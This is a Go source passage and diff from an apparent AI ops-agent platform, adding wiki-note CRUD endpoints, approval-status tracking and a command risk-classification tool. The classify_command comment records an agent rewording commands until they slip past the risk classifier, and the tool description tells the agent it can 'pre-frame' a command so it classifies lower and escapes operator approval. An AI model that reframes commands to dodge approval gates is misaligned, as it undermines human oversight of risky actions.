Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Source string `json:"source"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
Tags []string `json:"tags"`
|
||||
About []string `json:"about"`
|
||||
Size int `json:"size"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Revisions int `json:"revisions"`
|
||||
}
|
||||
|
||||
// The `about` aggregate mirrors GetEntityKnowledge's first UNION branch
|
||||
// (documents/about edges) — the 'procedure-for' branch is left out here
|
||||
// because it joins against entity *types* rather than entities and can't
|
||||
// produce a per-note slug list.
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.id::text, e.slug, ke.title, e.type, COALESCE(ke.source,''),
|
||||
COALESCE(ke.edited_by,''), COALESCE(ke.tags, '{}'),
|
||||
COALESCE((
|
||||
SELECT array_agg(DISTINCT t.slug)
|
||||
FROM relationships r
|
||||
JOIN entities t ON t.id = r.target_id
|
||||
WHERE r.source_id = ke.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
), '{}'),
|
||||
length(ke.content),
|
||||
ke.updated_at::text, ke.created_at::text,
|
||||
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at DESC`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
if err := rows.Scan(&it.ID, &it.Slug, &it.Title, &it.Kind, &it.Source,
|
||||
&it.EditedBy, &it.Tags, &it.About, &it.Size,
|
||||
&it.UpdatedAt, &it.CreatedAt, &it.Revisions); err != nil {
|
||||
slog.Error("httpapi: knowledge/list row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// serveKnowledgeTrash lists soft-deleted notes — the counterpart to
|
||||
// serveKnowledgeList, and what the "restore" affordance in the UI browses.
|
||||
// Without this, a deleted note is invisible from every list endpoint
|
||||
// (correctly — they all filter deleted_at) with no way to even discover it
|
||||
// exists to restore.
|
||||
func (s *Server) serveKnowledgeTrash(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''), ke.deleted_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NOT NULL
|
||||
ORDER BY ke.deleted_at DESC`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type item struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
DeletedBy string `json:"deleted_by"`
|
||||
DeletedAt string `json:"deleted_at"`
|
||||
}
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &it.DeletedBy, &it.DeletedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/trash row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// knowledgeWriteBody is the shared request shape for create and update.
|
||||
// Every field is a pointer so update can distinguish "not supplied" (leave
|
||||
// alone) from "supplied empty" (clear it) — a PUT that only changes tags
|
||||
// must not blank the body.
|
||||
type knowledgeWriteBody struct {
|
||||
Title *string `json:"title"`
|
||||
Content *string `json:"content"`
|
||||
Kind *string `json:"kind"`
|
||||
Tags *[]string `json:"tags"`
|
||||
Folder *string `json:"folder"`
|
||||
About *[]string `json:"about"`
|
||||
}
|
||||
|
||||
// serveCreateKnowledge creates a note plus its backing entity, and links it
|
||||
// to whatever entities it's about.
|
||||
func (s *Server) serveCreateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body knowledgeWriteBody
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
title := strings.TrimSpace(deref(body.Title))
|
||||
content := strings.TrimSpace(deref(body.Content))
|
||||
if title == "" || content == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "title and content are required", "")
|
||||
return
|
||||
}
|
||||
kind := deref(body.Kind)
|
||||
if kind == "" {
|
||||
kind = "document"
|
||||
}
|
||||
if !validKnowledgeKind(kind) {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid kind",
|
||||
"kind must be document, investigation, or runbook")
|
||||
return
|
||||
}
|
||||
tags := normalizeTags(derefSlice(body.Tags))
|
||||
slug := knowledgeSlugFor(kind, deref(body.Folder), title)
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
docID, _ := uuid.NewV7()
|
||||
// ON CONFLICT covers the soft-deleted case: the entity row survives a
|
||||
// delete, so recreating a note under the same slug must reuse it rather
|
||||
// than fail the unique constraint.
|
||||
if err := tx.QueryRow(ctx, `
|
||||
INSERT INTO entities (id, slug, type, name, attributes)
|
||||
VALUES ($1, $2, $3, $4, '{}')
|
||||
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "create entity failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Refuse to silently overwrite an existing LIVE note — upsert_knowledge
|
||||
// (the MCP tool) deliberately upserts by title (the agent re-records the
|
||||
// same finding as it learns more), but an operator hitting "create" with
|
||||
// a colliding title almost certainly means to write something new.
|
||||
//
|
||||
// The `WHERE knowledge_entities.deleted_at IS NOT NULL` guard makes this
|
||||
// check atomic with the write, rather than a separate SELECT before it:
|
||||
// a plain pre-check has a TOCTOU race where two concurrent creates of
|
||||
// the same title can both pass the check and then both proceed to
|
||||
// INSERT ON CONFLICT DO UPDATE, silently clobbering each other. Here,
|
||||
// the UPDATE branch only actually applies when the conflicting row is
|
||||
// soft-deleted (a legitimate "resurrect" case). When it isn't, the row
|
||||
// is left untouched, RETURNING yields no row, and pgx.ErrNoRows below
|
||||
// becomes the 409 — the collision can never be missed, no matter how
|
||||
// the two writers interleave.
|
||||
var wroteID uuid.UUID
|
||||
err = tx.QueryRow(ctx, `
|
||||
INSERT INTO knowledge_entities
|
||||
(entity_id, title, content, source, tags, edited_by, updated_at, deleted_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $4, now(), NULL)
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||
tags = EXCLUDED.tags, edited_by = EXCLUDED.edited_by,
|
||||
updated_at = now(), deleted_at = NULL
|
||||
WHERE knowledge_entities.deleted_at IS NOT NULL
|
||||
RETURNING entity_id`,
|
||||
docID, title, content, actorLabel, tags).Scan(&wroteID)
|
||||
if errors.Is(err, pgx.ErrNoRows) {
|
||||
writeProblem(w, req, http.StatusConflict, "a note with this title already exists", slug)
|
||||
return
|
||||
} else if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "write knowledge failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
linked := s.linkKnowledgeAbout(ctx, tx, docID, derefSlice(body.About))
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge created", "slug", slug, "kind", kind, "actor", actorLabel, "linked", linked)
|
||||
// Content-Type before WriteHeader — setting it after is a no-op, the
|
||||
// status line is already on the wire.
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusCreated)
|
||||
if err := json.NewEncoder(w).Encode(map[string]any{
|
||||
"slug": slug, "id": docID.String(), "linked": linked,
|
||||
}); err != nil {
|
||||
slog.Error("httpapi: json encode failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
// serveUpdateKnowledge edits a live note in place. The prior version is
|
||||
// captured by the trg_knowledge_revision trigger, not by this handler — see
|
||||
// the migration for why that lives in the database.
|
||||
//
|
||||
// Note the slug is intentionally NOT recomputed when the title changes:
|
||||
// slugs are the wiki's stable link target ([[slug]] references, relationship
|
||||
// rows, bookmarked window ids), and silently re-slugging on a typo fix would
|
||||
// break every inbound link.
|
||||
func (s *Server) serveUpdateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var body knowledgeWriteBody
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
if body.Title == nil && body.Content == nil && body.Tags == nil && body.About == nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "nothing to update",
|
||||
"supply at least one of title, content, tags, about")
|
||||
return
|
||||
}
|
||||
if body.Title != nil && strings.TrimSpace(*body.Title) == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "title cannot be empty", "")
|
||||
return
|
||||
}
|
||||
if body.Content != nil && strings.TrimSpace(*body.Content) == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "content cannot be empty", "")
|
||||
return
|
||||
}
|
||||
|
||||
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
// COALESCE keeps unsupplied fields untouched; edited_by and updated_at
|
||||
// always move so the UI can show who last touched it. The trigger only
|
||||
// snapshots when title/content/tags actually differ, so a no-op save
|
||||
// doesn't manufacture a revision.
|
||||
var newTitle *string
|
||||
if body.Title != nil {
|
||||
t := strings.TrimSpace(*body.Title)
|
||||
newTitle = &t
|
||||
}
|
||||
var newContent *string
|
||||
if body.Content != nil {
|
||||
c := strings.TrimSpace(*body.Content)
|
||||
newContent = &c
|
||||
}
|
||||
var newTags *[]string
|
||||
if body.Tags != nil {
|
||||
t := normalizeTags(*body.Tags)
|
||||
newTags = &t
|
||||
}
|
||||
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities
|
||||
SET title = COALESCE($2, title),
|
||||
content = COALESCE($3, content),
|
||||
tags = COALESCE($4, tags),
|
||||
edited_by = $5,
|
||||
updated_at = now()
|
||||
WHERE entity_id = $1`,
|
||||
entityID, newTitle, newContent, newTags, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "update failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Keep the entity's display name in step with the note title — the graph
|
||||
// and the fleet table read entities.name, and leaving it stale is exactly
|
||||
// the drift this app exists to fight.
|
||||
if newTitle != nil {
|
||||
if _, err := tx.Exec(ctx,
|
||||
`UPDATE entities SET name = $2, updated_at = now() WHERE id = $1`,
|
||||
entityID, *newTitle); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "rename entity failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// About is replace-semantics, not merge: the editor presents the full
|
||||
// link set, so an absent slug means the operator removed it. Existing
|
||||
// edges are closed (valid_to) rather than deleted, preserving history.
|
||||
var linked []string
|
||||
if body.About != nil {
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE relationships SET valid_to = now()
|
||||
WHERE source_id = $1 AND valid_to IS NULL AND type IN ('documents', 'about')`,
|
||||
entityID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "unlink failed", err.Error())
|
||||
return
|
||||
}
|
||||
linked = s.linkKnowledgeAbout(ctx, tx, entityID, *body.About)
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge updated", "entity_id", entityID, "actor", actorLabel)
|
||||
// `linked` lets the caller diff against what it submitted and warn about
|
||||
// any slug that didn't resolve — see linkKnowledgeAbout: a typo'd entity
|
||||
// slug otherwise fails with nothing but a server-side slog.Warn, so the
|
||||
// operator gets no feedback that one of their About links didn't take.
|
||||
writeJSON(w, map[string]any{"ok": true, "linked": linked})
|
||||
}
|
||||
|
||||
// serveDeleteKnowledge soft-deletes a note. The row, its revision trail and
|
||||
// its entity all survive; only the deleted_at stamp changes, and every read
|
||||
// path filters on it.
|
||||
func (s *Server) serveDeleteKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
// Snapshot the live version before tombstoning. The trigger fires on
|
||||
// title/content/tags changes only, and a delete changes none of them —
|
||||
// without this the most recent version would be the one version missing
|
||||
// from the history if the note is later restored.
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
INSERT INTO knowledge_revisions
|
||||
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||
SELECT entity_id, title, content, source, tags, COALESCE(edited_by,''), updated_at
|
||||
FROM knowledge_entities WHERE entity_id = $1`, entityID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "snapshot failed", err.Error())
|
||||
return
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities SET deleted_at = now(), edited_by = $2
|
||||
WHERE entity_id = $1`, entityID, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "delete failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge deleted", "entity_id", entityID, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// serveRestoreKnowledge undoes a soft delete. The counterpart to
|
||||
// serveDeleteKnowledge — without it, "recoverable by clearing the column"
|
||||
// (see the migration) would only be true via psql, which isn't a real
|
||||
// recovery path for an operator using the wiki.
|
||||
func (s *Server) serveRestoreKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
ct, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities SET deleted_at = NULL, edited_by = $2
|
||||
WHERE entity_id = $1 AND deleted_at IS NOT NULL`, entityID, actorLabel)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "restore failed", err.Error())
|
||||
return
|
||||
}
|
||||
if ct.RowsAffected() == 0 {
|
||||
writeProblem(w, req, http.StatusConflict, "note is not deleted", "")
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge restored", "entity_id", entityID, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// serveKnowledgeRevisions returns the note's superseded versions, newest
|
||||
// first. Bodies are included: revisions are small (~1 KB) and few, and the
|
||||
// diff view needs both sides anyway — paginating would cost a round trip per
|
||||
// comparison to save nothing.
|
||||
func (s *Server) serveKnowledgeRevisions(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT id, title, content, COALESCE(edited_by,''), COALESCE(tags,'{}'),
|
||||
version_at::text, revised_at::text
|
||||
FROM knowledge_revisions
|
||||
WHERE entity_id = $1
|
||||
ORDER BY version_at DESC`, entityID)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type revision struct {
|
||||
ID int64 `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
Tags []string `json:"tags"`
|
||||
VersionAt string `json:"version_at"`
|
||||
RevisedAt string `json:"revised_at"`
|
||||
}
|
||||
items := []revision{}
|
||||
for rows.Next() {
|
||||
var r revision
|
||||
if err := rows.Scan(&r.ID, &r.Title, &r.Content, &r.EditedBy, &r.Tags,
|
||||
&r.VersionAt, &r.RevisedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/revisions row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, r)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// linkKnowledgeAbout points a note at the entities it concerns, skipping
|
||||
// slugs that don't resolve and edges that already exist. Returns the slugs
|
||||
// actually linked so the caller can report what stuck — a typo'd slug is a
|
||||
// silent no-op otherwise.
|
||||
func (s *Server) linkKnowledgeAbout(ctx context.Context, tx pgx.Tx, docID uuid.UUID, slugs []string) []string {
|
||||
linked := []string{}
|
||||
for _, raw := range slugs {
|
||||
slug := strings.TrimSpace(raw)
|
||||
if slug == "" {
|
||||
continue
|
||||
}
|
||||
var targetID uuid.UUID
|
||||
if err := tx.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&targetID); err != nil {
|
||||
slog.Warn("knowledge: about slug not found, skipping", "slug", slug)
|
||||
continue
|
||||
}
|
||||
if _, err := tx.Exec(ctx, `
|
||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||
SELECT $1, $2, 'about', '{"by":"operator"}'::jsonb, now()
|
||||
WHERE NOT EXISTS (
|
||||
SELECT 1 FROM relationships
|
||||
WHERE source_id = $1 AND target_id = $2 AND type = 'about' AND valid_to IS NULL)`,
|
||||
docID, targetID); err != nil {
|
||||
slog.Warn("knowledge: link failed", "slug", slug, "error", err)
|
||||
continue
|
||||
}
|
||||
linked = append(linked, slug)
|
||||
}
|
||||
return linked
|
||||
}
|
||||
|
||||
// normalizeTags trims, lowercases and de-duplicates while preserving order.
|
||||
// Lowercasing is the fix for the casing drift already in the data — `oom`
|
||||
// and `OOM` were separate tags on separate notes, so neither tag page showed
|
||||
// the full set. Applied on every write so the split can't reopen.
|
||||
func normalizeTags(in []string) []string {
|
||||
seen := map[string]bool{}
|
||||
out := []string{}
|
||||
for _, t := range in {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "" || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
out = append(out, t)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func deref(p *string) string {
|
||||
if p == nil {
|
||||
return ""
|
||||
}
|
||||
return *p
|
||||
}
|
||||
|
||||
func derefSlice(p *[]string) []string {
|
||||
if p == nil {
|
||||
return nil
|
||||
}
|
||||
return *p
|
||||
}
|
||||
|
||||
// writeJSON is the success-path counterpart to writeProblem, so the handlers
|
||||
// in this file don't each repeat the header/encode dance.
|
||||
func writeJSON(w http.ResponseWriter, v any) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
if err := json.NewEncoder(w).Encode(v); err != nil {
|
||||
slog.Error("httpapi: json encode failed", "error", err)
|
||||
}
|
||||
}
|
||||
@@ -109,6 +109,16 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
||||
// /api/v1/events/stream — in OpenAPI but re-registered for SSE Flush()
|
||||
// /api/v1/knowledge/recent — ad-hoc aggregation, no schema type yet
|
||||
// /api/v1/knowledge/content/{id} — returns raw markdown, not a gen type
|
||||
// /api/v1/knowledge/list — full tree listing, ad-hoc aggregate
|
||||
// /api/v1/knowledge (POST) — markdown in, no gen type
|
||||
// /api/v1/knowledge/content/{id} (PUT/DELETE) — markdown in, soft delete
|
||||
// /api/v1/knowledge/trash — soft-deleted notes, ad-hoc
|
||||
// /api/v1/knowledge/restore/{id} — undo a soft delete, no gen type
|
||||
// /api/v1/knowledge/revisions/{id} — version history, no schema type
|
||||
// /api/v1/knowledge/tags{,/rename} — tag index + bulk rewrite
|
||||
// /api/v1/knowledge/duplicates — trigram clustering, ad-hoc
|
||||
// /api/v1/knowledge/orphans — derived maintenance view
|
||||
// /api/v1/knowledge/merge — bulk fold-in, ad-hoc
|
||||
// /api/v1/activity/recent — recency-ordered, not paginated
|
||||
// /api/v1/activity/session/{id} — session-scoped aggregation
|
||||
// /api/v1/learning/timeline — derived view, no backing schema type
|
||||
@@ -202,6 +212,30 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the operator-facing knowledge CRUD surface
|
||||
// (see internal/httpapi/knowledge_write.go) and the drift tooling (see
|
||||
// knowledge_drift.go). Before these, knowledge could only be written by
|
||||
// the agent through the MCP upsert_knowledge tool — the web UI had no way
|
||||
// to create, correct or retire a note.
|
||||
//
|
||||
// Registered on the base router rather than through the OpenAPI codegen
|
||||
// for the same reason as the read routes above: they trade in raw
|
||||
// markdown and ad-hoc aggregates, not generated schema types.
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/list", s.serveKnowledgeList)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge", s.serveCreateKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Put("/api/v1/knowledge/content/{id}", s.serveUpdateKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Delete("/api/v1/knowledge/content/{id}", s.serveDeleteKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/trash", s.serveKnowledgeTrash)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/restore/{id}", s.serveRestoreKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/revisions/{id}", s.serveKnowledgeRevisions)
|
||||
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/tags", s.serveKnowledgeTags)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/tags/rename", s.serveRenameKnowledgeTag)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/duplicates", s.serveKnowledgeDuplicates)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/orphans", s.serveKnowledgeOrphans)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/merge", s.serveMergeKnowledge)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
||||
// unlike ListExecutions which sorts by target for pagination) and the
|
||||
// per-session "what did this session do" digest.
|
||||
|
||||
@@ -778,6 +778,7 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
|
||||
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
||||
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
||||
markSessionAwaitingApproval(ctx, pool, sessionID)
|
||||
confirmNote := ""
|
||||
if riskClass == policy.RiskDestructive {
|
||||
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
||||
@@ -1065,6 +1066,49 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
|
||||
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
||||
}
|
||||
|
||||
// markSessionAwaitingApproval flips a session to awaiting_input the moment
|
||||
// one of its gated executions is queued for approval — mirrors what
|
||||
// askOperator does for session_questions (cmd/nomos/store.go's askOperator),
|
||||
// so a pending execution approval reads as "needs input" to both the
|
||||
// frontend's Overview board (which only checks agent_sessions.status) and
|
||||
// the idle-sweep safety net (staleGoalSessions, cmd/nomos/store.go, which
|
||||
// already excludes awaiting_input from its stale-task sweep). Before this, a
|
||||
// task blocked on a config_mutation/destructive approval just sat at
|
||||
// 'executing' — indistinguishable from a task still genuinely working — so
|
||||
// the idle sweep would eventually nudge it and then auto-close it with
|
||||
// outcome=partial while the approval was still sitting there undecided.
|
||||
// The httpapi package's DecideApproval flips the session back out once the
|
||||
// approval is approved/denied/revoked (internal/httpapi/approvals.go).
|
||||
//
|
||||
// No-op for sessionID=="" (a direct MCP call with no nomos session) or a
|
||||
// session that's already terminal/already awaiting_input — the status IN
|
||||
// guard makes this safe to call unconditionally from classifyAndGate.
|
||||
func markSessionAwaitingApproval(ctx context.Context, pool *db.Pool, sessionID string) {
|
||||
if sessionID == "" || sessionID == "ephemeral" {
|
||||
return
|
||||
}
|
||||
tag, err := pool.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = 'awaiting_input', last_active_at = now()
|
||||
WHERE id = $1 AND status IN ('active', 'planning', 'executing')`, sessionID)
|
||||
if err != nil || tag.RowsAffected() == 0 {
|
||||
return
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "task.status", sessionTaskEntity(ctx, pool, sessionID),
|
||||
"info", "nomos", sessionID, map[string]any{"status": "awaiting_input", "reason": "execution_pending_approval"})
|
||||
}
|
||||
|
||||
// sessionTaskEntity resolves a session's own task-entity id, for anchoring
|
||||
// events to the right node in the graph — mirrors cmd/nomos/store.go's
|
||||
// (unexported) taskEntityPtr; duplicated here since that's a different
|
||||
// package's private method.
|
||||
func sessionTaskEntity(ctx context.Context, pool *db.Pool, sessionID string) *uuid.UUID {
|
||||
var id uuid.UUID
|
||||
if err := pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, sessionID).Scan(&id); err != nil || id == uuid.Nil {
|
||||
return nil
|
||||
}
|
||||
return &id
|
||||
}
|
||||
|
||||
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
|
||||
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
|
||||
// P1.5). For each target slug, it runs a single read-only shell command
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/policy"
|
||||
"github.com/google/uuid"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
@@ -704,6 +705,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
||||
FROM entities e WHERE e.slug = $1`, slug, action), nil
|
||||
}},
|
||||
|
||||
// classify_command is the command-scoped preflight from
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
|
||||
// existing `preflight` tool is entity/action-scoped — useless when
|
||||
// the agent is composing a `run` command and needs to know whether
|
||||
// the classifier will accept it before submitting. Without this,
|
||||
// the agent has to retry with cosmetic variations until it finds
|
||||
// one that passes (see sessions a51e2086, 8acea2e3 — three
|
||||
// duplicate rclone sessions, all bouncing off the classifier).
|
||||
// Call this BEFORE `run` whenever the classification is uncertain.
|
||||
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
|
||||
InputSchema: objSchema(
|
||||
